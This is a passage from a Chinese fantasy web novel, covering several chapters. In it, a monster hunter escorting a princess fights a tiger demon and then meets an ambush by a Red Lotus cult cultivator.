驼背老者有恃无恐的道:“今天我儿子娶媳妇,你想拦就杀了我!背上人命你会被官府通缉!有种杀了我们全村人,看你今后在大晋国如果立足!” 牧青瑶紧锁着秀眉,喝斥道: “既然明知自己是活人是大晋百姓,还要行那霸道之举,你与目无法纪的山匪草寇有何区别!强行留下我,你一样死罪难逃!” 驼背村长哈哈大笑: “我这条老命早不想要了!只要今天我儿能成亲,明天就算皇帝砍我脑袋我也心甘情愿!哈哈哈!” 牧青瑶的俏脸一点点沉了下来。 她的智慧,足以与庙堂上的各方势力周旋,唯独面对驼背村长这种不要命也不要脸的人,无能为力。 牧青瑶一时想不出脱身之计,正为难的时候,她听到一声响动。 咔嚓! 扑通! 小郡主抬头一看,对面的驼背老者已然人头落地。 云缺好整以暇的收回刀,道: “养鬼多年没来砍你,你还敢叫嚣,真不知道马王爷几只眼呐。” 说罢拉起牧青瑶往外走。 院子里的众人全都惊呆在原地,没人敢动。 大石村的人这才知道,猎妖人不仅杀妖,也杀人! “让路,谁挡路我就杀谁,别以为百姓的身份有用,你们敢劫持郡主,本身就是死罪。” 云缺冷冷的说道,百姓们立刻让开一条通路。 走到村口,云缺再次抽刀。 一刀,斩开了养魂台! 随着石台的断裂,空气中出现许多哀嚎之音,其上的蜡烛纷纷熄灭。 牧青瑶回头望去,大石村的家家户户都有魂体漂浮上半空。 养魂台一断,大石村里的鬼物失去寄身之地,相继消散。 离开大石村后,两人走上官道,赶往下一个村庄落脚。 路上,云缺得知牧青瑶抵达大石村的经过后,对那头棕熊很感兴趣。 熊掌可是好东西,熊皮也能卖不少银子。 可惜路上始终没看到那头棕熊。 云缺寻找棕熊的举动,令牧青瑶心生感触。 她被棕熊视为猎物,而棕熊则被云缺视为猎物。 “快刀斩乱麻,破局的最佳之策,你又救了我一次,我该如何报答呢。”牧青瑶道。 “谈好了的买卖,客气话就不用说了,都在二百两银子里,那块月玉的价值你最好没说谎,如果不值二百两,我会找你讨要欠款的。”云缺道。 “放心,只多不少。” 牧青瑶微笑起来,随后沉思道: “那块养魂台,看起来很像一座莲台,其上又燃着红烛……红烛不灭莲台永存,藏石镇客栈里的杀手,也许与修建养魂台的道姑有所关联。” 牧青瑶尽力回想着道姑这种并不常见的身份,她所认得的人里,并没有这等人物。 对于暗中的那只黑手,牧青瑶愤恨至极,又找不到蛛丝马迹,根本不知道对方的身份。 一路沉吟,当牧青瑶散去思绪之际,眼前出现一片村庄。 小石村,到了。 天色已晚,村子里的人家大多已经熄灯入睡。 村里不像城镇,夜夜灯火,这里的家家户户睡得都很早。 唯独村口的一户人家还亮着烛灯。 村口的大黑狗见到外人汪汪乱叫,直到云缺的脚步经过,大黑狗立刻夹起尾巴逃之夭夭。 村口第一户人家的院子比较大,好几间房。 云缺直接叫门。 开门的,是个枯瘦的小老头,见到外面两个陌生的年轻人,笑着问道: “二位是要借宿吗?我是小石村的村正,家里正好有两间空房,住一晚很便宜,留几个铜钱就行,饭菜的话需要另行付钱。” “饭菜不必了,我们只借宿,赶了一天路我得好好歇歇。”云缺大步走了进去。 牧青瑶在进门前停了一下。 她转头看向漆黑的村落,微微蹙眉。 这处院子很干净,没有任何鬼物存在,但牧青瑶总有一种不太自在的感觉。 整个小石村的人都睡了。 唯独村长家亮着灯火,好像刻意在等待着客人的到来。 尤其村长的笑脸,僵硬得好似戴着个面具,一点都不自然。 第16章 特殊的爱好 小石村的村长家共有五间大瓦房。 中间的正屋村长夫妻居住,后面的两间住着两个儿女,剩下东西厢房空着。 两间厢房隔着挺远。 瘦小的村长让云缺和牧青瑶自己选住处。 牧青瑶选了东厢房,云缺入住西厢房。 途经院子的时候,牧青瑶听到大屋里有水声,不由得望了一眼。 “我家那口子爱干净,天天得沐浴才能睡觉,二位确定不要吃的吗,我这里有现成的小菜和酒水,热一热就能吃了。”村长热情的道。 云缺直接拒绝,什么吃的也不要,连水都不需要。 “那好,二位早点休息,小老儿也得睡觉去了。”瘦小的村长一脸假笑,告辞离开。 “正好两间房,不用挤一张床了,早点睡,明儿早起,一天路程就能到百玉城了。” 云缺打着哈欠走向西厢房。 牧青瑶站在东厢房门口,远远看着云缺的房里熄了灯,她才走进屋子。 望着桌上的油灯,小郡主沉默良久。 这里很正常,也很平静。 没有任何危险的征兆。 但牧青瑶的心头始终萦绕着一丝不安。 她有着一种奇怪的预感。 这处平静的小石村,好像比大石村还要凶险。 牧青瑶看不出凶险的来源,但她相信云缺的判断,于是吹灭烛火,和衣而卧。 夜渐深,月色清冷。 牧青瑶始终没睡,脸朝着里,背对着房门,想着心事。 午夜时分,牧青瑶听到门扉出现轻微响动。 好像有什么东西进了屋子。 牧青瑶的身体立刻紧绷起来,佯装熟睡。 屋子里再无动静。 又过了许久,屋门无声开启,一阵寒风吹了进来。 风中伴随着一股淡淡的血腥气。 月光下,墙壁上出现了一道高大的影子。 那不是人类的影子。 有着一颗硕大的头颅,头颅上张开着大口,两颗锋利的獠牙好似匕首! 望着墙壁上恐怖的影子,牧青瑶只能联想到一个字。 妖! 恐怖的妖影,缓缓靠近床榻。 牧青瑶能闻到强烈的血腥气息就在身后起伏。 小郡主没有妄动。 她知道即便自己如何逃命,也不可能逃得过妖物之手。 “这么晚了不睡觉,还吃夜宵啊。” 屋子里突然出现的声音,让墙壁上的妖影为之一顿。 烛灯被点燃。 照亮了云缺似笑非笑的脸庞。 牧青瑶翻身而起,灵敏的躲到云缺身旁。 她此刻已经明了。 之前第一次房门响动,是云缺所为,人家早一步等在这里。 直到现在,牧青瑶才看向妖影的真容。 对面的,是一头高大的吊睛猛虎,额头有一挫白毛,好似第三只眼睛一般,看起来无比凶猛。 发现云缺在屋子里,猛虎明显愣了一下,口出人言。 “你怎么过来了?我连伥鬼都没用,你不应该发现才对!” 一听这声音,牧青瑶立刻认出对方。 萍山君! 云缺呵呵一笑,道: “不错嘛老家伙,变聪明了,还会收买村长,特意设局,可惜你还是有破绽。” “胡说!我这次想尽了所有破绽,布置得天衣无缝!你是想趁着人家小姑娘睡着了来占便宜!才误打误撞发现了我!”萍山君怒气冲冲的道。 “你怎么知道我会走小石村,而不是去乌鸡镇。”云缺好奇的道。 从藏石镇出发,通往天祈皇城的两条路,是云缺所选,萍山君居然如此准确的在小石村设伏,这一点实在令人疑惑。 “想知道,就拿我的破绽来交换,你先说是怎么发现我的!”萍山君道。 “一头虎妖,偏偏爱洗澡,你的破绽太明显,看一眼不就全知道了。”云缺道。 “你丫的居然偷看!”萍山君怒道。 它之前胁迫村长一家配合演戏,为了万无一失,它假装成村长媳妇在屋子里沐浴,认为云缺绝对不会发现,谁成想这都被看到了。 “活着就够无聊了,再不找点爱好,还活着作甚,你说是吧。”云缺道。 “村长那媳妇五大三粗的,老娘们你都看呐!你有病啊!”萍山君骂道。 “你有药吗。”云缺道:“该你说了,怎么确定的我会走这条路。” “问阎王爷去吧!今天你护不住这个小丫头,云缺,识相的自己离开,我们以后井水不犯河水,你若非得趟浑水,没办法,我只能送你一起上西天!”萍山君冷声道。 “最近身子有点虚,听说老虎身上那玩意泡酒大补,七阶虎妖的,应该更补。”云缺笑道。 “既然你想死,本王成全你!” 萍山君发出一声低吼,虎身一弓,猛扑而出! 七阶虎妖的速度极快,又是这种狭小的空间,几乎避无可避。 云缺没躲。 直接抽出了刀! 屋子里的光线昏暗,却能清晰映衬出刀上的猩红。 那是把外表通体漆黑的长刀,看不出有多锋利,但十分厚重。 牧青瑶并未想到,云缺的这把刀,其实不是黑刀。 而是血红之色! 只是那层血色太过浓烈,犹如无尽的鲜血凝固而成,殷红得发黑。 云缺出刀就斩,没有半点迟疑。 劈斩出的刀刃在屋子里划出一声锐响,四周的空气仿佛被长刀切割开来。 云缺这一刀,是横着斩的。 正好与扑来的两只猛虎前爪撞击在一处。 嘭!! 闷响中,云缺整个人倒飞了出去,木门被撞了个稀碎。 七阶虎妖的力量,非同小可,这一爪之下足以抓烂一块巨石。 不过萍山君也没好到哪去。 庞大的虎身被刀中的巨力崩得向后翻滚,直接撞塌一面墙,滚到了院子里。 好好的一间瓦房,变成了两面透风。 牧青瑶只觉得耳朵一阵嗡鸣,短暂的失去了听觉。 她没有慌乱,而是从门口冲了出去,打算查看云缺的伤势。 七阶虎妖的战力,牧青瑶十分清楚。 道门与儒家的修士如果用本体持刀硬抗虎妖的一爪,轻则经脉尽断,重则毙命当场! 没等牧青瑶跑到近前,云缺已经站了起来,拍了拍身上的灰尘,毫发无损。 牧青瑶长出一口气,下意识的捂住心口。 武者的身体素质,比起其他体系的修行者实在强大了太多。 不过牧青瑶仍旧担心不已。 毕竟云缺只是八品武夫,而对面的虎妖则是七阶! 大境界的差距,足以让云缺在这一战陷入绝对的被动,很容易被击杀当场。 牧青瑶紧锁着秀眉,俏脸上满是担忧。 云缺神色冷峻的道: “那头老妖看来不肯罢休,你退后。” 牧青瑶立刻急退了几步,站在院墙下,冷静的观战。 萍山君的攻势很猛。 锋利的爪牙均是致命的武器,猛虎下山般的扑杀,挨上半点,非死即伤。 可怕的不止是爪牙,连猛虎那庞大的身躯都极其危险。 被撞上一下,必定骨断筋折。 尤其虎尾,犹如钢鞭,一甩一扫竟能带起骇人的炸响,其上的力道不下于万斤之巨! 如果说萍山君的攻势是下山猛虎,那么云缺的反击则如同入水之蛟。 一把长刀被舞出霍霍风声,招式大开大合,几乎从不防守,每次都与虎妖硬碰硬,大有一夫当关万夫莫开的豪勇。 望着云缺的身影,牧青瑶有一种热血沸腾的感觉。 那是拳拳到肉的酣畅淋漓! 只有在武夫身上才能得见的近身恶战! 以肉身之力,硬撼妖兽! 牧青瑶见识过道门修士御剑而行随手布阵,也见过儒道高手撒豆成兵言出法随,世间各种修行体系均有各自的神异之处。 唯独武夫的战斗,最为简单直接,也最为震撼人心! 院子里的恶战,持续了足足一炷香的时间。 村长家的其他屋子全都屋门紧闭,没有任何人敢出来查看情况。 渐渐的,牧青瑶的小手下意识的捏紧,面带忧色。 云缺的攻势的确很猛。 可七阶虎妖的强悍太过可怕,八品武者绝非对手。 云缺明显落在下风。 尤其当萍山君展现出天赋之力的时候,牧青瑶的心瞬间沉入谷底。 硕大的虎妖仰头长啸,浑身毛发在摆动间竟互相融合,呈现出一片片石头般的厚重鳞片。 月光下,虎妖一身鳞甲散发出金属般的冰冷光泽。 犹如披上了一层铁甲! “白额石鳞虎!” 牧青瑶低呼出声。 她没见过这等妖兽,但学识过人的灵芸郡主阅览过所有介绍妖兽的书籍。 白额石鳞虎,以其惊人的天赋著称,可在身外凝炼出石鳞,其防御力堪比重甲,连道家修士的法器飞剑都难以攻破。 本就迅猛的七阶虎妖,再加上几乎无法破开的防御石鳞,绝对能立于不败之地! 这等强大的妖族,牧青瑶实在想不出任何战胜的办法。 展现天赋之力后,萍山君的速度竟也暴增,硬接了云缺一刀,虎身一转,钢鞭般的虎尾直接将云缺抽飞了出去。 若非武者肉身强悍,这一下就能将普通人抽成两截! 轰隆一声。 云缺撞在牧青瑶旁边的院墙上,将院墙撞塌了一半。 云缺很快从砖瓦里一跃而起,浑身尘土,嘴角见血。 “把我交出去,你还能活命,一个人死,总比两个人死要好。”牧青瑶冷静的道。 用左手擦掉嘴角的血迹,云缺现出个古怪的笑容,道: “我决定的买卖,从来没有半途而废过,看来我得认真了,如果待会儿出现了无法理解也无法控制的局面,郡主记住一点,离我越远越好,千万别靠近!” 第17章 口是心非萍山君 云缺的叮嘱,牧青瑶听得黛眉紧蹙。 她听不太懂是什么意思。 为何不是远离虎妖,而是离着云缺越远越好? 没有时间多问,对面的虎妖已经再度扑杀而来。 云缺毫不示弱,提刀迎战。 在出刀之前,云缺用沾染着自己鲜血的左手,快速抚过刀身。 嗡…… 夜空下,响起刀刃的鸣颤之音。 泛着一层血光的长刀,在这一刻仿佛活了过来! 刀身上的血光越来越浓,越来越亮,直至汇聚成一道道血色的纹路,在刀身上不断流转。 月夜,血刀,猎妖人! 这一刻,黑衣少年就像一道凛冽的寒风,呼啸着攻向虎妖。 再次的交手,云缺直接逆转了之前的劣势。 每一次重斩之下,萍山君的石鳞都会被切开好几片。 虎妖那一身石鳞重甲,在云缺的刀下失去了该有的防御能力。 咔!咔!咔!咔!咔! 接连五刀连斩,云缺借着脚下的冲击力旋身而起,以腰带动长刀,宛若陀螺般在虎妖身上掠过,并留下了数十道刀光。 远处的牧青瑶看得眸光骤亮。 好身手! 灵芸郡主是识货的。 她能清晰分辨出武者之间的强弱。 云缺此刻的战力,在牧青瑶看来已经是八品武者所能达到的巅峰程度。 尤其那把长刀。 竟带着一种骇人的凶煞之气,比虎妖还要凶悍。 让人觉得那不是一把刀,而是一头活着的凶兽! 萍山君被斩破了一片鳞甲,顿时勃然大怒,不等云缺落地,它调转身形张开大口咬去。 虎类的灵活程度,极为惊人,往往能做出人类无法模仿的灵动扑杀。 这一口回身吞杀,类似回马枪,杀一个措手不及。 云缺躲不开了。 脚下没有支点,身体无法借力。 纯粹靠着肉身之力的武者,做不到其他修行者那般瞬移或者替身之类。 面对被吞杀的凶险局面,云缺横刀在手,运转全力攻向对方的獠牙。 没有支点,可以自己找! 见云缺居然在如此绝境还有对策,牧青瑶暗暗敬佩不已。 在殊死恶战中,能做到应对自如的武者,说明人家早已身经百战! 以牧青瑶估计,云缺的作战经验达到了一个无法评估的恐怖地步! 小郡主刚要松口气,忽然下意识的握紧双手。 回身吞杀的萍山君,仿佛预料到云缺的举动,此刻浑身流光一闪,虎头竟扩大了三倍有余! 血盆般的大口,变成山洞一般,直接将云缺整个身体吞入其中。 落地的同时,萍山君的虎身也增长到原本的三倍大小,与房顶齐平! 这才是七阶虎妖真正的妖躯! 为了更好的与云缺作战,萍山君这头老妖刻意收束了体态。 毕竟身躯太过庞大的结果,是相应的笨重。 以真正的妖躯,吞杀普通人简单,想要吞杀掉云缺这种灵活的武夫,则相对困难。 武夫的灵敏,不亚于妖族,速度极快。 一些身躯庞大的妖物,很难在第一时间吞掉迅捷的武夫。 所以萍山君留了个心眼,在最恰当的时候展现真身,给云缺来个致命一击! 云缺的确被吞了。 但萍山君的虎口也无法完全合拢。 云缺踩着虎牙,半蹲在硕大的虎口中,头顶就是锋利的獠牙! 卡住虎口的,是云缺的刀。 刀尖顶在上獠牙,刀柄则顶在下獠牙,为云缺支撑起一个能在虎口容身的空间。 萍山君发现没能合拢大嘴,立刻发出一声沉闷的咆哮,虎口拼命合拢。 猛虎的咬合力已经足够惊人,足以咬碎骨头。 七阶虎妖的咬合力更加恐怖,即便放进去一块巨大的山岩,也会被一口咬穿。 可偏偏云缺的刀,就是不断! 血色长刀弯曲到一个极限的角度,看着即将断裂,云缺不得不佝偻起身体才能避免被獠牙洞穿。 如此危急的局面,牧青瑶心急如焚,偏偏无能为力。 小郡主只能眼睁睁看着云缺的身影一点点被吞没。 虎口中,云缺低垂的脸上渐渐泛起冷笑。 左眼的中心,忽然出现一点血色! 随后那针芒般的血色如同荡开的沸水般,顷刻间铺满整个眼眸! “你还玩真的啊萍山君,他们给了你什么好处,让你来杀郡主。”云缺冷声道。 “自然是我无法拒绝的好处!让你小子多管闲事,今天你也别想逃掉!”萍山君的虎口中传来得意的声音。 “商量一下如何,我也给你个无法拒绝的好处,肯定比他们给得多。”云缺道。 “你一个穷武夫,能拿出来什么?”萍山君道。 “我给的好处,是一条命,你的命!” 云缺的声音愈发低沉,清冷道:“妖之力……血瞳!” 弯曲到极致的长刀表面,所有血色纹路汇聚为一点,在刀身中间凝聚成一团殷红。 那殷红好似活物般不断晃动,突然裂开,呈现出一只血色的竖瞳! 当刀中竖瞳开眼的一瞬间,萍山君硕大的虎眼中立刻泛起惊骇之色。 虎妖连半点迟疑都没有,张开大口,同时喷出一股腥风,将口中的云缺吹了出去。 云缺倒着飞出,几个旋转后稳稳落地。 站稳的同时,长刀随之斩出。 呼! 血色的刀气划破了黑暗,直奔萍山君而去。 萍山君刚刚落地,来不及防御,被刀气砍中右侧后腿。 咔嚓!!! 脆响声中,虎妖腿上的石鳞碎裂开来,竟被刀气斩开一道巨大的伤口,连骨头都切开了一半! 嗷呜!!! 萍山君一声哀嚎,被刀气的力道带飞出十几丈,撞塌了一片院墙。 云缺脚下炸起一层气浪,身体如利箭般掠出,长刀划着一道血色的半圆豁然斩下。 “嗷呜!停!停!” 萍山君的大口中先是发出虎啸,又瞬间转变为人声。 云缺左眼赤红,手提长刀冷笑道: “你说停就停,那我多没面子。” 刀光没有半点停顿,朝着虎头斩落。 虎妖大惊下翻滚躲避,同时呈现出人形姿态。 尽管变成人身,但脑袋还是虎头。 七阶虎妖,无法完全变幻为人族模样,只有身躯类似人族。 体型变小后,萍山君险之又险的躲开了云缺的一刀。 “黑风洞的那头七阶蛤蟆果然是你砍死的!” 萍山君一双虎眼充满惊惧,盯着云缺手里的长刀急急吼道:“我退出!这笔买卖我不接了,你们该去哪去哪,就当我不存在!咱们井水不犯河水,以后还是好邻居!” 比起云缺猩红的左眼,萍山君更畏惧的,是长刀上那颗血色竖瞳! 刀上的竖瞳犹如活物般,给人一种想要破开刀体冲出来的感觉。 云缺没再出刀,而是紧紧握着刀柄,盯着萍山君,浑身起伏着强烈的煞气,道: “不打了也行,说出是谁在背后指使你伏杀郡主。” 萍山君嗤笑了一声,硬气道: “本王若是殊死相搏,你也好不到哪去!大不了来个同归于尽!无论做人还是做妖都得讲个信用,我萍山君就算死,也绝对不会说出谁是雇主!这是规矩!” 说着大义之言,一只虎爪却在不断晃动,在地面上写着什么。 牧青瑶来到近前一看,是三个字。 红莲教! 萍山君用实际行动证明,什么叫做说一套做一套。 “你收了什么好处。”云缺简短道。 “人家只给了点定钱罢了,两粒血煞丹,最后的大头儿得用灵芸郡主的人头去换!”萍山君道。 “血煞丹呐,好东西,分我一粒。”云缺道。 “想得美!两粒血煞丹都被我藏在浮萍山了,扔了也不给你!回去我就先扔一粒在山顶,就扔在山顶歪脖老树旁边两丈开外的大青石上,石头旁边还有三棵小树,小树下边开着青色野花。” 萍山君的豪言壮语,说得慷慨激昂,可牧青瑶怎么听怎么古怪。 连扔丹药的地点都说得事无巨细,这和给有什么区别? “你如何断定我会走小石村。”云缺道。 “谁知道你走哪!两头堵就是了,你走乌鸡镇只会更凶险!奉劝你一句,这笔买卖我不接了,你最好也别接,否则青狐山就真成你的坟喽。”萍山君嘲笑道。 “放心,我死之前,肯定把你先带走。”云缺冷笑道。 “少来咒我!本王千秋万载,长生不死!有种再来比过!当我怕你啊,不比是吧,不比我可走了……” 萍山君扔下句狠话,一瘸一拐的逃之夭夭。 云缺没追。 对方什么德行,云缺心知肚明。 只要萍山君认为有危险,它一定会放弃,不会回头,无需担心对方还会在前路上埋伏。 浮萍山的老妖,活了很多年,一些事看得比人族通透得多。 真要死斗的话,萍山君今天走不出小石村,但云缺付出的代价也不会小。 毕竟对方是货真价实的七阶妖族。 杀了萍山君,云缺捞不到多少好处,与付出的代价不成正比。 尤其那份代价,恐怖的程度只有云缺自己知道,不到万不得已的情况,云缺实在不想承受。 院子里安静了下来。 随着云缺的左眼恢复原状,刀身上血色竖瞳般的印记也消散开来,血光收敛消失,刀身恢复成黑色。 牧青瑶始终蹙着眉,静静的望着云缺。 她看到了长刀的变化。 比起幕后黑手的红莲教,牧青瑶更为惊奇的,是云缺刀上的竖瞳。 与地底壁画上的竖瞳很像! 云缺一句话没说,拖着疲惫的身体走进房中。 抱着刀,直挺挺倒在床榻上。 牧青瑶默默的坐在一旁,水银般的月光洒在她那张绝美的脸庞上,宛如一张月下美人图。 “八品武夫,不可能斗得过七阶妖族,你不是普通武者,你与壁画上的武者,是同一类人。” 许久后,牧青瑶的声音在屋子里轻轻响起。 “好奇害死猫,心里猜一猜就行了,何必说出来。” 云缺声音清冷的道:“不怕我杀你灭口么。” 第18章 好看么 听闻云缺的冷淡声音,牧青瑶的嘴角渐渐泛起微笑。 “你也许是个贪财的人,也许是个贪生的人,但你绝对不是个没有感情的人,陈员外的女儿坠井,你本可以置身事外,你明知敌人背后藏着难以匹敌的力量,却选择了替她报仇。” “人情债最难还,杀了那三个凶手,替秀儿姐报了仇,我这辈子谁也不欠了。”云缺道。 “红尘是一张网,走进来就难以脱身,羁绊如风,无孔不入,人非木石,孰能无情。”牧青瑶道。 “我娘对我说过,感情这种东西是多余的,有了感情,就有了破绽,所以我选择抛弃感情,做一个不认感情只认钱的小仵作。”云缺道。 “你有感情,你喜欢那位善良的秀儿姐。”牧青瑶道。 “是啊,我还幻想着以后娶了秀儿姐,继承陈员外家的万贯家财,过上衣来伸手饭来张口的好日子,可惜,人死了,我最后喜欢的东西也没了。”云缺道。 “你还有,我知道你还有喜欢的东西。”牧青瑶道。 “郡主擅长揣摩人心,但这次你猜错了,天下间,没什么是我喜欢的了,你该不会说,我喜欢你吧,抱歉啊,在下一介草民,实在高攀不起,没那个想法。”云缺道。 “即便你不喜欢我,至少你喜欢我的身子,不然的话,我沐浴的时候,你又怎会看得那么专注。”牧青瑶道。 昏暗的小屋里,弥漫起一片尴尬的气息。 半晌后,响起云缺略带懊恼的声音。 “别人面对灭口的威胁,都会拼命说好话,你倒好,非得往上加筹码,我堂堂七尺男儿,什么时候偷看你洗澡了?小心我去衙门告你诽谤!” 牧青瑶嘴角的笑意更浓了几分,道: “光线明亮的时候,刀体是会折射身后景象的,我从一岁便可认字读书,难道会不懂这么浅显的道理么,而且,你看了两次。” 云缺的表情变得十分精彩起来,好半晌才恢复正常。 “男子汉大丈夫,没错,我看了!又能怎样!”云缺以蛮横无礼来掩盖尴尬。 “好看么。” 牧青瑶轻声问了三个字,云缺就像泄气的皮球般,一时答不上来。 说好看,那自己落了下风,说难看,又太过违心。 这个问题,实在把云缺难住了。 “红尘是一张网,你已经在网里了,我也是个贪命的人,既然知道了你的破绽,我会利用到极致,云缺,只要你护送我回皇城,你不仅能看个够,还能摸,不过只能摸一下。” 云缺直接坐了起来,盯着对面的小郡主。 月光下,灵芸郡主美得不可方物,纯洁中透着一种神圣,让人不敢亵渎。 这种特殊的报酬,说不动心那是假的。 “你可是高贵的郡主啊!”云缺狠狠抽了一口气,道。 “活着才是郡主,死掉的话,只是一具尸体。”牧青瑶轻声道。 “你的钱太难赚了,二百两银子就得对付个萍山君,占你点便宜,非得搭上命不可,我又不是傻子。”云缺呵呵一笑,道:“有了二百两银子,我能在百玉城的青楼里摸上半个月。” “天下间,风尘女子无数,可灵芸郡主只有一人。”牧青瑶道。 “金银,前途,美色……郡主为了拉拢我,下足了血本啊,可惜我是个贪生怕死的,让郡主失望了,等到了百玉城,我们各奔东西,再无牵连。”云缺道。 “我不失望,你不肯冒险才是正确选择,趋吉避祸方能活得长久,云缺,你听过红莲教么。”牧青瑶道。 “没听过,也许是哪里冒出来的邪教,有了这份线索,郡主可以顺藤摸瓜找出幕后真凶了。”云缺道。 “难,我也是第一次听闻红莲教这种教派。”牧青瑶缓缓摇头道。 “以郡主的手段,早晚能追查出真相,这事儿我就不参和了。” 云缺休息了稍许,走向门外道:“饿了,找点吃的。” 在院子里找了一圈。 村长家养了几条狗,没有其他家禽。 那几条狗全都瘫在地上,屎尿齐流,被萍山君的妖气吓的。 回屋后,云缺道:“走,这里不能久留。” 两人在夜色中离开了小石村。 没走大路,钻进路边的山林,从小路赶往百玉城。 走在寂静的林间,牧青瑶轻声道: “你不饿,村长家肯定有食物,你应该在找蛋类,我不明白,为何非得吃蛋呢。” “揣摩人心不可怕,可怕的是总能猜中,你这种女人,以后真的很难嫁得出去。”云缺道。 “若没有意中人,我宁可一生不嫁。”牧青瑶道。 “不知郡主的意中人,要选什么样的呢。”云缺道。 “我的意中人,可以卑鄙无耻,可以自私自利,也可以混吃等死,但他必定是敢斗天斗地,哪怕漫天神佛压顶也不会低头的男人。”牧青瑶憧憬道。 “郡主放心,这种标准,你这辈子肯定嫁不出去了。”云缺道。 “孑然一身,看遍世间繁华,未尝不是一桩美事。”牧青瑶道。 “就这世道,再繁华也是大老爷们看的,穷苦百姓看不到繁华,只能看到见底的米缸和没油的汤水,世间有繁华,更多是苦难。”云缺道。 行至午夜, 云缺在林间找了块空地,把包裹里的狼皮铺在地上。 “这里应该足够安全,没人能找得到,先睡会儿。” 云缺倒头就睡,与萍山君的恶战消耗太大,不得不休息。 牧青瑶坐在狼皮上,望着满天星辰,道: “云缺,我们交换各自的隐秘如何,其实我是有修为的,只是现在用不出来,我说出自己的秘密,你说出那把刀里的秘密,公平交易,你看如何。” “我没兴趣知道别人的秘密,你不困我困,明天还得早起赶路呢。” 说完,云缺沉沉睡去。 牧青瑶独自坐了良久,她也乏累了一天,不再多想,和衣躺在云缺身旁。 这一晚,灵芸郡主做了个可怕的噩梦。 她梦到白天追她的那头棕熊,变成了一个恐怖的怪物,速度越来越快,直至将她整个人吞入口中。 梆,梆梆。 天边尚未泛白,树林里竟响起了奇怪的梆子声。 云缺豁然睁眼,眸中掠过一抹冷冽。 这里是荒无人迹的山林,不是小石村更不是藏石镇,不该存在更夫! 梆,梆梆。 梆子声越来越近! 牧青瑶也在噩梦中醒来,与云缺一同望向林间深处。 梆,梆梆…… 沙,沙沙…… 诡异的梆子声,伴着细碎的脚步,由远及近。 林间,出现了一列奇怪的队伍。 前后各有四人,中间是一顶红彤彤的小轿,好似迎亲的队伍。 这些人全都一身红衣,脸上戴着莲花形状的面具。 队伍最前面的两人,各自打着一个硕大的红灯笼,灯笼的表面画着莲花图案。 最诡异的是,那顶小轿没有人抬,而是自行漂浮! “红烛不灭!” “莲台永存!” 队伍里传来整齐划一的口号,在荒郊野岭里听起来十分渗人。 “红莲教……” 牧青瑶暗暗低语,美眸中充满忌惮。 对方居然能准确的找到这里,可见手段有多强。 来者,绝对是强敌! 见识过萍山君的恐怖后,牧青瑶对自己能活着回到天祈皇城,几乎不再抱有多大的希望。 本以为抵达百玉城,汇合官军后还能有一线生机,牧青瑶现在才知道,对方根本没打算让她活着走进百玉城。 云缺无奈的嘀咕道: “早知道二百两这么难赚,说什么我也不接这活儿啊。” 牧青瑶知道云缺对战萍山君耗费了极大的气力,现在的战力估计连一半都没有,于是低声道: “事不可为,你便先逃,不用管我。” “抱怨归抱怨,买卖归买卖,你放心,抵达百玉城之前,我保你活命就是。” 云缺说罢抓起刀鞘,站在牧青瑶身前,面对抵达近前的诡异队伍,神色坦然。 队伍停在两人面前,一道尖细的声音从轿子里传出。 “红莲教传道,闲杂人等退避。” 云缺握着刀,脸上挂着笑,道: “穷山恶水出刁民,荒山野岭跑小妖,你传你的道,我走我的路,谈何退避,难道这座山是你家的?大晋王朝也是你家的?” “呵呵呵呵……好一个伶牙俐齿的少年郎。” 小轿缓缓落地,走出个驼背的青年男子。 这人个子很高,即便驼着背,都比普通人要高着一些,一张长脸面无血色,惨白惨白,身上穿着白袍,乍一看还以为是无常索命。 “实话实说罢了。”云缺道。 “本座最喜欢说实话的人,给你一个机会,十息之内,在我眼前消失,否则,你会死得很惨。”驼背男子嗓音尖细的道。 “消失就消失,怕你啊,走。” 云缺拉着牧青瑶就走。 “你只能自己走,灵芸郡主得留下,她可是我们教主最重视的人呢。”驼背男子怪笑道。 “你们教主谁啊,连郡主的主意都敢打。”云缺停步道。 “入我红莲圣教,自然可一睹教主风采。”驼背男子道。 “我对你们红莲教没兴趣,你到底是谁,怎么追来的。”云缺道。 “本座红莲教护法,左白,灵芸郡主如暗夜明灯,冥冥中指引着方向,此乃缘分,她注定要归入红莲,成为那不灭红烛。”驼背男子道。 “少放屁了,说点实在的。”云缺道。 “呵呵,够直接,好!告诉你也无妨,灵芸郡主为通灵之体,又称玄阴之体,她的神魂极为特殊,拥有着至阴之力,她能看到灵体,同时也会被灵体所注视,只要顺着灵体目光的指引,即可找到郡主本人。”驼背男子道。 “果然是暗夜明灯啊,就不该在夜里赶路。”云缺叹了口气。 牧青瑶的这种体质,在黑夜里实在太显眼,想要不留痕迹,就得将一路上遇到的灵体全部灭掉。 否则那些发现了牧青瑶的灵体,都会朝着牧青瑶离去的方向眺望好久。 “十息已到,小家伙,你该死喽。” 驼背男子尖笑着抬起左手,从手心处突然喷薄出一股惊人的寒气! 那寒气直奔云缺袭来,途中凝聚成一柄冰晶飞剑! 当驼背男子展现出自身气息的那一刻,牧青瑶低呼出声: “道门修士!七品辟谷境!” 第19章 我有名字 天下修士均分为九个品阶。 道门也不例外。 道门九品为炼气境,八品开光镜,七品辟谷境。 七品辟谷修士,战力同等于七品炼神武者,与七阶虎妖萍山君不相上下。 灵芸郡主之前的护卫老者,只是八品开光镜而已,比起七品辟谷境修士弱小了太多。 云缺刚刚与七阶虎妖恶战,此刻再遇强敌,牧青瑶的心不由得提了起来。 面对冰雪飞剑,云缺的应对极为简单。 抽刀就砍! 咔嚓!!! 长刀与冰剑来了个硬碰硬。 那冰剑顿住了一瞬,剑身上出现密密麻麻的裂纹,随后崩裂开来。 尽管挡下了这一剑,云缺也被剑体上携带的恐怖力量轰飞,接连撞断两棵大树才停住。 驼背的左白发出尖细笑声,手中掐动剑诀道: “小小八品武夫,也敢挡本座的寒冰剑,真不知天高地厚,去。” 一个去字出口, 崩碎的冰剑中竟浮现出一把银色长剑,剑上起伏着水纹般的光泽。 这把长剑看不出锋利,但其上的气息无比强大,闪电般轰向云缺,竟拖出一路霜雪! “是法器!小心!” 牧青瑶低呼出声。 冰层只是凝炼出的外表而已,真正的剑体,是一件货真价实的法器。 法器的存在,是修行者的最大助力,可以称之为第二条命。 法器由各类天材地宝打造而出,有着各不相同的奇异力量,修行者大多以本体气息蕴养,使之愈发强大,即便有所损坏也可在主人的蕴养下慢慢恢复。 世上各大修行体系均可使用法器,武夫也一样。 但武夫只能单纯地用本体之力使用法器,砍坏了,也就彻底废了,无法修复,更无法像其他体系那般能隔空驱使,发挥不出法器的最大威能。 这也是武者被其他修行者所鄙夷的一份原因所在。 